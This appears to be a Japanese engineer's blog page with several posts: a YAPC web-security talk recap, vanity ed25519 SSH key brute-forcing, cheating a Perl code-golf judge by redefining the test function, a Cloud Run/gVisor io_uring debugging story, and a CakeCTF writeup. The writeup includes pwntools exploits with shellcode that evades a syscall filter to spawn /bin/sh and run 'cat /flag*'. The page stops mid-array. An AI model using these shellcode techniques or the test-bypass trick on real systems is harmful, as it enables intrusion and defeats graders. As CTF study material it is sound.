YAPC::Hakodate 2024でゲストスピーカーとして登壇しました

YAPC::Hakodate 2024に参加してきました。近年のYAPCでは参加するだけで登壇していなかったのですが、今回はゲストとして呼んでいただいたので、40分枠で自分の仕事に少し関係ありそうな技術ネタみたいなものを話させてもらいました。

speakerdeck.com

スライドを作る上で、めんどうくさいWebセキュリティを久々に読み直したのですが、2012初版と古い部分はあるのですが(IEの話とか)、基本的な部分は今でも変わらないので、たしかにそうだったなといった発見もあって面白かったです。 また、Webブラウザセキュリティも読み直しました。今も変わらずよい本です。スライド前半部分で詳しく解説しきれなかった部分はだいたいこの本に書いているくらいで、そういった本の補完的なところができる部分や周辺でYAPC参加エンジニア層にウケそうな話題を思う存分詰め込もうという気持ちでスライドを書く原動力となりました。

最終的なトーク内容としては、フロントエンドとバックエンドの話も含めつつ、ある程度飛び飛びで色んな話ができたほうが面白いだろうということで以下のような流れで紹介するという形になりました。

  • Cookie
  • CSRF
  • XSS
  • Trusted Types
  • HTTPヘッダ
  • インジェクション
  • パストラバーサル

Cookieって思ったより奥が深くて今もブラウザの挙動がそれぞれ違っているというところから、React 19でjavascript: URLが制限される話は嬉しいとか、アプリケーション側でパスを正規化するのでクラウドストレージでパストラバーサルできる話といった話をしました。 CSRFのところとかはもう少し丁寧に解説したほうがよかったのですが、他のボリュームが多くなってきて時間の都合で諦めました。とはいえ、トーク内容の中では参加者の方からそれは知らなかったと聞けた話もあったようで、そういった意味では小ネタを色々紹介できてよかったような気はします。

参加者の皆さん、スタッフの皆さんお疲れ様でした。また来年のYAPCでもお会いしましょう。

かっこいいSSH鍵が欲しい

例えばこのSSH公開鍵、末尾に私の名前(akiym)が入っています。

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFC90x6FIu8iKzJzvGOYOn2WIrCPTbUYOE+eGi/akiym

そんなかっこいいssh鍵が欲しいと思いませんか?

ed25519のSSH公開鍵の構造

SSH鍵の形式にはRSAやDSA、ed25519などがありますが、最近のssh-keygenではデフォルトでed25519の鍵を生成するということもあり、ed25519を利用していることを前提として進めます。なにより、RSAの公開鍵に比べると短いので末尾部分が目立つはずです。

そもそも、ed25519のSSH公開鍵のフォーマットはどのようなものになっているか確認してみます。まずはssh-keygenコマンドで秘密鍵と公開鍵を生成します。

% ssh-keygen -t ed25519 -f test
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in test
Your public key has been saved in test.pub
The key fingerprint is:
SHA256:NeYtBvyhXH8QwBs2qTXySfBWGQHBPwE3BBTR0rZ+HiQ <redacted>
The key's randomart image is:
+--[ED25519 256]--+
|        .=X&O+   |
|       ...%o*o   |
|        oBOX.o   |
|       ..X+=E..  |
|        S =.o+.  |
|         . ...o  |
|             o . |
|              .  |
|                 |
+----[SHA256]-----+
% cat test.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK/99+jnYPCQvNgb/4BeckKITWKsKihl5HvHlSvfkYc1 <redacted>

生成された公開鍵test.pubに対して、以下のコマンドでbase64デコードして中身を確認してみます。

% echo 'AAAAC3NzaC1lZDI1NTE5AAAAIK/99+jnYPCQvNgb/4BeckKITWKsKihl5HvHlSvfkYc1' | base64 -d | xxd
00000000: 0000 000b 7373 682d 6564 3235 3531 3900  ....ssh-ed25519.
00000010: 0000 20af fdf7 e8e7 60f0 90bc d81b ff80  .. .....`.......
00000020: 5e72 4288 4d62 ac2a 2865 e47b c795 2bdf  ^rB.Mb.*(e.{..+.
00000030: 9187 35                                  ..5

先頭部分は固定で、0x14バイト目以降からは0x20(32)バイト分のed25519の公開鍵が含まれています。つまりは先頭部分は変えることはできませんが、末尾部分であれば公開鍵によってはbase64の文字種の範囲内で好きな文字を指定することができそうです。

また、fingerprintは上記の公開鍵のデータ部分のSHA-256を計算し、base64エンコードしたものです。fingerprintはSHA256:NeYtBvyhXH8QwBs2qTXySfBWGQHBPwE3BBTR0rZ+HiQであったので、同じものが以下のコマンドで求められていることが分かります。

% echo 'AAAAC3NzaC1lZDI1NTE5AAAAIK/99+jnYPCQvNgb/4BeckKITWKsKihl5HvHlSvfkYc1' | base64 -d | sha256sum | xxd -r -p | base64
NeYtBvyhXH8QwBs2qTXySfBWGQHBPwE3BBTR0rZ+HiQ=

注意すべきポイントとしては、base64エンコードした結果の末尾に=が含まれているところです。base64はデータを6ビットずつに分けて変換して余った場合にパディングとして=を追加します。よって=が1つ含まれるこの場合だと6ビットのうち後ろの2ビット分が00になるため、最後の文字はAEIMQUYcgkosw048のいずれかになります。

ed25519の秘密鍵と公開鍵

ed25519の秘密鍵は32バイトのランダムなデータです。公開鍵の計算には、まず秘密鍵seedのSHA-512を計算した結果が用いられる*1ため、秘密鍵を調整すれば公開鍵に任意のバイト列を含められるようなものでもありません。

つまり、公開鍵の末尾に特定の文字列を含めるには、とにかく鍵を生成し続けて運よく引き当てるしかなさそうです。

ブルートフォースでかっこいい公開鍵を探す

単純にはssh-keygenコマンドを叩き続けるようなものがあればよいはずですが、さすがに遅いので効率よくブルートフォースしたいところです。ということでちょっとしたコードを書いてみました。

github.com

ちなみにこのコミットでは/AKIYMで終わるfingerprintのSSH鍵を使って署名をしています。

コマンドを実行すると秘密鍵と公開鍵がそれぞれoutout.pubに出力されます。以下のようなオプションで公開鍵のsuffix、fingerprintのprefix/suffixが指定できるようになっています。オプション単体での探索時間の目安としては5文字で1時間、6文字で10時間程度です。

$ ed25519brute -authorized-key-suffix test
2024/03/20 20:37:56 start
2024/03/20 20:38:05 found
% cat out.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINynu9CvEi6Yav1Y2L7hNxtD63RiHZkOG/ZsVzsNtest
% ed25519brute -fingerprint-prefix hello
2024/03/20 20:39:54 start
2024/03/20 21:22:53 found
% ssh-keygen -l -f out
256 SHA256:helloz8d+urX+JvZmOVdewcWAx89vXeoKTLsUH0mgBc out.pub (ED25519)
$ ed25519brute -fingerprint-suffix KEY
2024/03/20 21:23:11 start
2024/03/20 21:23:11 found
% ssh-keygen -l -f out
256 SHA256:8qN1j+/pE1VFyPzIzi6S9Njqvwtw52PIQJqCj9K8KEY out.pub (ED25519)

秘密鍵を生成する際の乱数生成には高速化のためにGoのmath/randを使っていますが、乱数が用いられるのは公開しない秘密鍵自体であり、このアルゴリズム自体はLagged Fibonacci generatorのようなので変に乱数に偏りがない限りは大丈夫だろうと思います(追記: これは乱数予測を主とした話)。

とはいえ利用の際にはあくまでかっこいいSSH鍵、というネタとしてお使いください。SSH鍵はssh-keygenで生成するのが正しいです。

YAPC::Hiroshima 2024に参加しました

YAPC::KyotoぶりのYAPCということでYAPC::Hiroshima 2024に参加してきました。お久しぶりの参加者の方々、運営していただいたスタッフの方々共々ありがとうございました。

印象に残ったトーク

  • 2024年冬のPerl
    • 5.40ではTest2::Suiteがコア入りということを聞いて、Test2にお世話になっていた身*1としてはめでたいという気持ちになりました
    • CPAN Security Groupまわりの話は追えていなかったので発表で知って、興味もあり何か貢献できるといいなと思いつつまずは周辺をウォッチしていこうと思います
  • Blogを作り、育み、慈しむ - Blog Hacks 2024
    • 自分は発信のハードルが年々上がっていて(自分の中で)、ブログもほぼ書かなくなってしまったなあというところで何か忘れている気持ちがあったと思い出させてくれる発表でした。家としてのブログを作りたい……
    • 発表で触れられていたIndieWebの考え方、素敵ですね
  • 非同期な開発体制を支えるドキュメント文化
    • 懇親会にて、発表者のこんぼいさんに発表で触れていたConfluenceの別の使い方として「しっかりとしたドキュメントとは言えないけどちょっとしたやってみた記事とか、知見の共有みたいなのってどう管理してますか(自分はConfluenceのブログ機能を使っているのだけど気に入っていない)」とかを聞いたりできて嬉しかったです(ありがとうございました!)
  • rakulangで実装する! RubyVM
    • Rakuの話があってよかった、これぞYAPC!
    • そういえば拙作のJSON::Hjson*2はzefに移行してなかったなあと思い出して、せっかくなので帰ってきて上げました。YAPC駆動とも言えます

Perlbatross

KAYACさんのほうでPerlコードゴルフをできるPerlbatrossというサイトがYAPC中の期間限定で公開されていました。 会場の椅子にチラシが貼られていて、確実に目に入る位置にあって気になって遊んでいたのですが、終わり際、ちょうど隣に座っていたsago35さん(かなり縮められていてその時点では1位だった方)と話すきっかけにもなってよかったです。

最初はコードゴルフとして縮めていたのですが、ふとPerlのコードを実行してくれるサーバのソースコードを覗きにいったときに(warn `tar czf - lib | base64`とかすると中身が持ってこれる)、何やらチートできそうな構造になっていることに気がつきました。実装としては、TAP::Harnessを経由して/var/run/judge_local/test.tを実行する、このファイルの中でevalしながらCapture::Tinyでstdoutとstderrを拾って逐次テストを動かすということをしています。

色々と悩んだ結果*3、テストを実行する側のコードを変更してまえばどうにかなることに気がつきました。よって最終的には以下の11バイトのコードですべてのテストが無理矢理通るようになりました。

*::is=*::ok

このコード自体はTest2::V0のisで比較している処理をokに書き換えていて、つまりは元のisの第一引数はfaslyな値ではないので通ります。……とズルをしてしまってすみません(全Holeこれで通るはずですが、さすがに全部これで埋めるのは面白くはないのでHole 1だけ勝手に試させてもらいました)。

ちなみにちゃんとしたゴルフをしたときのHole 1のコードはこんなかんじでした。真っ当にゴルフをして全然これ以上に縮めている人がいました。難しい……

binmode STDIN,utf8;while(<>){chomp;$i=@a=();$a[$i++%2].=$&while/\X/ug;print"@a$/"}

この手のイベント用の遊べる何かというのは準備が大変だったりしそうですが、自分はかなり好きです。提供ありがとうございました&&来年も期待しております🙏 > KAYACさん


以前はYAPCトーク応募して登壇していたのですが、気がついたら最後の登壇は2019年のYAPCでした。次のYAPCでは気持ちの上ではPerlネタを発表したいのですが、仕事ではPerlを書いていないのです……。とはいえあの頃の気持ちを思い出させてくれる、そんなYAPCでした。来年こそという気持ちをこめて。

*1:以前には https://speakerdeck.com/akiym/xin-shi-dai-falsetesutohuremuwakutest2 という発表や https://gihyo.jp/dev/serial/01/perl-hackers-hub/005101 を書かせてもらっていました

*2:Hjsonをgrammerで実装するという半分実験的ネタモジュールなのですが、地味にこれを作っていたお陰でJSON::Fastのバグを見つけたりできて便利でした

*3:最初はCapture::Tinyを外してTAPの形式をstdoutを出力させられないかというのを考えましたが一見難しい気はしています。あとはENDブロックに置くとstdoutに書き出せるな(TAP的にはinvalidになってしまってだめ)とかexitするとテストも全部終わらせられる(テストが1個もないケースはfail扱いになるのでだめ)とか。

CTF問題をCloud Runで動かす - gVisorとio_uring

以前にakictfという常設CTFを公開していたのですが、閉じることになったきっかけはメンテナンスが面倒になったからでした。当時は2013年、Dockerも出始めた頃で当然使っておらず、LXC上で問題を管理していました。さくらのVPS上で動かしていて(後にさくらのクラウドに移行)、問題も手作業でデプロイしていた、素朴な時代でした。

10年前だったからよかったものの、今ではどうでしょう。 コンテナイメージをそのままデプロイできる、アクセスがあったときだけコンテナを動かしていて欲しい、スケールしやすい、メンテナンスもほぼ不要。それくらい簡単なものが欲しい、そんなものがどこかにないでしょうか。

Cloud Run

cloud.google.com

そこでCloud Runです。コンテナイメージがあればとにかく動き、ある程度のスケールも勝手にやってくれる、便利なサービスです。動かすアプリケーションがHTTPで通信するのであればすぐさま使えます。

Cloud Runにデプロイする際に注意すべきポイントとしては、アプリケーション上で任意コードを実行できるのであれば、Cloud Runの最大同時リクエスト数は1にする必要があることです。そうしないと、設定上書き込みができるファイルを削除されたり、プロセス自体を上書きしてしまうことで動作を変えたりと他の参加者への妨害ができてしまいます。

Speedrun CTF

2023/12/5にオフラインイベントとして、Flatt Security Speedrun CTF #2というCTFを開催し、その中ではCloud Runに問題をデプロイする形で提供しました。

github.com

#1と比較して難易度を下げての開催ではあったのですが、80分の競技中には全完者はおらず、そのひとつの原因にある問題に想定してなかったトラブルが発生したということがありました。

問題4: semgrep

4問目のsemgrepは、入力されたJavaScriptのコードをsemgrepの独自ルール(例えば、evalやrequireなどが使えないといったもの)の上で検証し、その上ですべてのルールに通るものを実行できるという問題でした。 想定解は以下にあるように、最終的にsemgrepでの検証時と実行時のコードでズレを発生させることで、semgrepでは正しくJavaScriptとしてパースできないが実行時には動くといったコードにすることでルール自体を無視できるというものです。*1

ここで発生したトラブルというのは、競技中に参加者からローカルでは動いたが、リモートでは503を返して動かない解法があると問い合わせがあったというものでした。503といえば、初手でサーバの負荷を疑うところですが、ひとまずメモリサイズを大きくしてみても状況は変わりません。 Cloud Run のトラブルシューティング  |  Cloud Run のドキュメント  |  Google Cloud には、メモリ不足やアプリケーション側のリクエストのタイムアウト、単にリクエスト数を捌けないなどの可能性があると書かれています。 なぜかレスポンスを返せずに打ち切られているようでしたが、競技中はその原因がわからず、想定解は変わらずリモートに対しても動いており、参加者からも別の方法で解けたという報告があったため対応できず、そのままとなりました。

競技終了後に公開された参加者のwriteupでは、以下のコードがリモート上で動かないと書かれていました。

nanimokangaeteinai.hateblo.jp

(globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).text()

これはawait Bun.file('/flag').text()相当のコードですが、これだけをそのままCloud Run上で動かしてみると503を返します。 想定解ではBun.spawnSyncを使ってcat /flagのコマンドを実行する形にしていたことからCloud Run上でも動いていたのですが、ファイルをシンプルに読み出すだけで何が変わるのでしょうか。

Cloud Run gen1の制約

Cloud Runの設定項目のひとつに実行環境というものがあり、gen1とgen2を選択することができます。 gen1では コンテナ ランタイムの契約  |  Cloud Run のドキュメント  |  Google Cloud にあるように、gVisor上で動くため一部のシステムコールは使えなかったり、部分的に実装されていないものがあります。gen2ではそのような制約はありません。

多くのウェブアプリケーションでは、gen1を選択してもgVisorのシステムコールの制限に困ることはほぼないといってよいでしょう。 ただ、 Linux/amd64 - gVisorシステムコールがfull supportだったからといって、細かな挙動は異なることに注意する必要があります。 例えば、実行ファイルに対して与えるsetuid bitはサポートされていません。また、execveを実行する際には実行ファイルにはexecuteパーミッションのみが与えられていた場合でも通常は動きますが、gVisor上では当然正しく動きません。

こういったことは想像できるので、CTFの問題を動かす際にはgen2を選択するのがよいはずです。 ただ、gen1では最小メモリは128MiBですが、gen2では512MiBなので、gen1を使ってメモリを抑えられるなら若干安く済ませられるメリットがあり、問題のデプロイ時にはgen1を選択していたのがこれが悪さをしていました。

BunとgVisor

まずは503を返すであろう、何かしらコンテナが停止してしまう最小ケースを作ってみます。通常はawait Bun.file('/etc/passwd').text()というコードを実行しても問題なくファイルを読み出すことができます。

% docker run --rm -ti oven/bun:1.0.14-slim bun repl
Welcome to Bun v1.0.14
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
'root:x:0:0:root:/root:/bin/bash\n' +
...

次に Installation - gVisor よりgVisorをインストールした上で、コンテナランタイムにrunscを指定して動かしてみます。

% docker run --rm -ti --runtime=runsc oven/bun:1.0.14-slim bun repl
Welcome to Bun v1.0.14
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
(ここでコンテナごと停止)

runscを指定した場合は、実行できずコンテナが停止しました。 Debugging - gVisor を見るとログを吐き出せるようなので、設定すると以下のログでエラーになっていることがわかります。

I1210 12:46:59.766212    2410 strace.go:564] [   9:  33] bun E io_uring_setup(0x100, 0x6c45b65b9d18)
I1210 12:46:59.766224    2410 strace.go:602] [   9:  33] bun X io_uring_setup(0x100, 0x6c45b65b9d18) = 0 (0x0) errno=38 (invalid system call number) (1.125µs)

そう、io_uringです。このケースでは内部でio_uring_setupのシステムコールが呼ばれることから、コンテナが停止していました。

Linux/amd64 - gVisor をみるとio_uring_setupはpartial supportとされていますが、以下のコードを見るとそもそもオプションで明示的に有効にしていないとio_uringは使えないようになっていることから、そもそもCloud Run gen1のgVisor上ではio_uringが使えないということになります。*2

github.com

io_uring

近年のio_uringの扱いとしては、パフォーマンス上ではメリットがあるものの、kernel exploitに繋げられるセキュリティ上の問題がいくつも報告されており、以下のGoogleが実施したkCTFの結果としてはexploitの60%ほどがio_uringに関する脆弱性を利用したものであったことから、io_uring自体を無効にする流れとなってきているようです。

security.googleblog.com

また、次期Dockerのリリースでもデフォルトのseccomp profileでio_uringのステムコールはブロックされるようになっています。

ちなみに2023/12/10時点ではまだリリースされていませんが、 最近になって Rewrite IO for Bun.file() by Jarred-Sumner · Pull Request #7470 · oven-sh/bun · GitHub でio_uringが使われないように書き直されていました。 イメージにoven/bun:canary-slimを指定してrunscで動かすと落ちません。なんとタイミングの悪いこと……

% docker run --rm -ti --runtime=runsc oven/bun:canary-slim bun repl
Welcome to Bun v1.0.16
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await Bun.file('/etc/passwd').text()
'root:x:0:0:root:/root:/bin/bash\n' +
...

まとめ

  • Cloud Run上でCTF問題をデプロイする場合は必ずgen2を使う
  • gVisor上ではio_uringは使えない
  • 次期Bunはio_uringを使わなくなる
  • 次期Dockerでもデフォルトのseccomp profileではio_uringが使えなくなる

ちょうど様々が重なった結果引き起こされた悲劇、ということでここに供養します。よい作問ライフを。

(この記事は CTF Advent Calendar 2023 - Adventar の9日目です)

*1:speedrunではあるのでよくあるjs sandbox問でのテクニックで抜け出す、としてもよいかと思いルール自体は雑に作っていました

*2:runtimeArgsに--iouringを指定するとio_uring_setupは通るようになるのですが、その後にまた別の理由で落ちます。深追いはしないでおきます……

CakeCTF 2023 writeup

2023/4/22に行なわれたRicerca CTF 2023にHackingForSushiで参加して、24位でした。

一人チームだし時間もあまりなかったのでrev問+変そうなやつ縛りで解きました。丁度よい難易度で解いていて楽しかったです。

解いた問題

nande

微妙に違う気がしつつも、とりあえず途中でflagが出たので適当に済ませています。

answer = [0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00]


in_ = [0] * 0x100
out_ = answer
for rnd in range(0x1234):
    in_[0xff] = out_[0xff] ^ 1
    for i in range(0xff-1, -1, -1):
        in_[i] = out_[i] ^ out_[i+1]
    out_ = in_

    bits = ''
    for x in out_:
        bits += str(x)
    res = int(bits[::-1], 2).to_bytes(32, 'little')
    if b'CakeCTF' in res:
        print(res)

Cake Puzzle

左上が空白マスの15パズル。すぐに動かせそうなソルバは落ちてなさそうだったので手で解く用のコードを書きました。配列の要素を入れ替えるときの操作を書くのが面倒そうにも見えますが、GitHub Copilotが埋めてくれました。ありがたい。

import curses

M = [0x445856DB, 0x4C230304, 0x0022449F, 0x671A96B7, 0x6C5644F7, 0x7FF46287, 0x6EE9C829, 0x5CDA2E72, 0x00000000, 0x698E88C9, 0x33E65A4F, 0x50CC5C54, 0x1349831A, 0x53C88F74, 0x25858AB9, 0x72F976D8]

numbers = {}
for i, x in enumerate(sorted(M)):
    numbers[x] = i

x = 0
y = 2
moves = []
screen = curses.initscr()


def print_map():
    for i, x in enumerate(M):
        screen.addstr('%2d ' % numbers[x])
        if i > 0 and (i + 1) % 4 == 0:
            screen.addstr('\n')
    screen.refresh()


def move():
    global x, y
    c = screen.getch()
    screen.erase()
    if c == ord('k'):
        if y <= 0:
            return False

        [M[4*y+x], M[4*(y-1)+x]] = [M[4*(y-1)+x], M[4*y+x]]
        y -= 1
        moves.append('U')
        return True
    elif c == ord('j'):
        if y >= 3:
            return False

        [M[4*y+x], M[4*(y+1)+x]] = [M[4*(y+1)+x], M[4*y+x]]
        y += 1
        moves.append('D')
        return True
    elif c == ord('h'):
        if x <= 0:
            return False

        [M[4*y+x], M[4*y+x-1]] = [M[4*y+x-1], M[4*y+x]]
        x -= 1
        moves.append('L')
        return True
    elif c == ord('l'):
        if x >= 3:
            return False

        [M[4*y+x], M[4*y+x+1]] = [M[4*y+x+1], M[4*y+x]]
        x += 1
        moves.append('R')
        return True

    return False


while True:
    if M == sorted(M):
        break

    print_map()
    move()

curses.endwin()
print(''.join(moves))

最終的な手で出した答え:

RRLUULDRRULDRULDLURLDDRLDRULDRLURDURDLURRDLURULLDDRULUURDLURDLRDLLUURLDRLUDDRRUULLDRRLLDRUULDDDRUUDDLURULDDRULURLDRLURLDURDLURDULDDRUUULRRRDLLDRRULURDULLDDRRULDURULLDDRULDRUULDDRULDRLLURRRLULLDRRULLDRRULDLURLDRULDRRULDDRUULDLDRRULURLLDRLURRRLLDRLLURLDRRULDLURDRRULLDRRULLL

unicomp

first bloodでした。syscall numberがチェックされるのは\x0f\x05の命令のみなので、cs syscallのようなCS prefixをつけた命令を使うことで任意のsyscallを実行できるようになります。ただし、syscall自体はpythonlibc.syscall経由で呼ばれるのでメモリマップ自体は別で、よくあるスタック上に文字列を置いて/bin/shを実行するようなシェルコードはそのままは動きません。mmapでメモリを確保しておいて、そこにreadで/bin/sh\0を書き込んでおき、execveを実行するようにしました。

import binascii

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10001'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

sc = asm('''
    mov rdi, 0x10000000
    mov rsi, 0x10000
    mov rdx, 7
    mov r10, 0x22
    mov r8, -1
    mov r9, 0
    mov rax, 0x09 # mmap
    cs syscall
    mov rdi, 0
    mov rsi, 0x10000000
    mov rdx, 0x1000
    mov rax, 0
    cs syscall
    xor rax,rax
    push rax
    pop rsi
    push rax
    pop rdx
    mov rdi, 0x10000000
    mov al,0x3b
    cs syscall
''')
print(disasm(sc))
with open('sc', 'wb') as f:
    f.write(binascii.hexlify(sc))
with open('sc.bin', 'wb') as f:
    f.write(sc)

s = remote(host, port)
s.recvuntil(b'shellcode: ')
s.send(binascii.hexlify(sc) + b'\n')

time.sleep(0.1)
s.send('/bin/sh\0')

s.interactive('')

cranelift

toy languageは文字列を渡すことはできなさそうなので(たぶん)、方針としてはunicompの解き方と似たように、mmapしてそれに対してmemsetで1文字ずつ書き込み、systemを実行するようにしました。

from pwn import *

context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host, port = 'others.2023.cakectf.com 10000'.split()
    port = int(port)
else:
    host, port = '127.0.0.1 4000'.split()
    port = int(port)

s = remote(host, port)

s.recvuntil(b'\n')

memset = ''
cmd = 'cat /flag*\0'
for i, c in enumerate(cmd):
    memset += f'memset({65536+i}, {ord(c)}, 1)\n'

src = f'''
fn main() -> (r) {{
    mmap(65536, 100, 7, 34, 0, 0)
    {memset.strip()}
    system(65536)
}}
__EOF__
'''.lstrip()
print(src)
with open('src', 'w') as f:
    f.write(src)
s.send(src.encode())

s.interactive('')

imgchk

大まかな処理としては、480x20の画像を読み込んで、3バイトずつMD5の計算して結果を比較しています。適当に試していると、3バイトずつで取ってきているのは縦の20ピクセル分(8+8+4)ずつだと分かるのであとは画像に戻すだけです。

import hashlib

from PIL import Image

answer = [0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x507B, 0x508C, 0x509D, 0x50AE, 0x50BF, 0x50D0, 0x50E1, 0x50F2, 0x5103, 0x5004, 0x5004, 0x5004, 0x5004, 0x5114, 0x5125, 0x5136, 0x5147, 0x5158, 0x5169, 0x517A, 0x518B, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5037, 0x5048, 0x5059, 0x5059, 0x5048, 0x5037, 0x506A, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5202, 0x5202, 0x51F1, 0x51F1, 0x51F1, 0x51F1, 0x5004, 0x5004, 0x5202, 0x5202, 0x5213, 0x5213, 0x5213, 0x5213, 0x5213, 0x51F1, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5224, 0x5125, 0x5235, 0x5246, 0x5257, 0x5268, 0x5004, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x5466, 0x5477, 0x5488, 0x5499, 0x5499, 0x5488, 0x54AA, 0x54BB, 0x5004, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x51F1, 0x51F1, 0x5565, 0x5576, 0x5587, 0x5598, 0x55A9, 0x55BA, 0x55CB, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 0x5554, 0x5004, 0x5004, 0x5015, 0x5026, 0x5389, 0x539A, 0x53AB, 0x53BC, 0x53CD, 0x5026, 0x53DE, 0x5004, 0x5004, 0x5004, 0x519C, 0x52CE, 0x55DC, 0x52F0, 0x518B, 0x518B, 0x52F0, 0x55DC, 0x55ED, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x519C, 0x52CE, 0x52DF, 0x52F0, 0x518B, 0x518B, 0x5301, 0x5114, 0x5114, 0x5004, 0x5004, 0x5004, 0x55FE, 0x560F, 0x5620, 0x5631, 0x5642, 0x5653, 0x5488, 0x51AD, 0x519C, 0x5004, 0x5004, 0x54CC, 0x54DD, 0x54EE, 0x54FF, 0x5510, 0x5521, 0x5532, 0x5543, 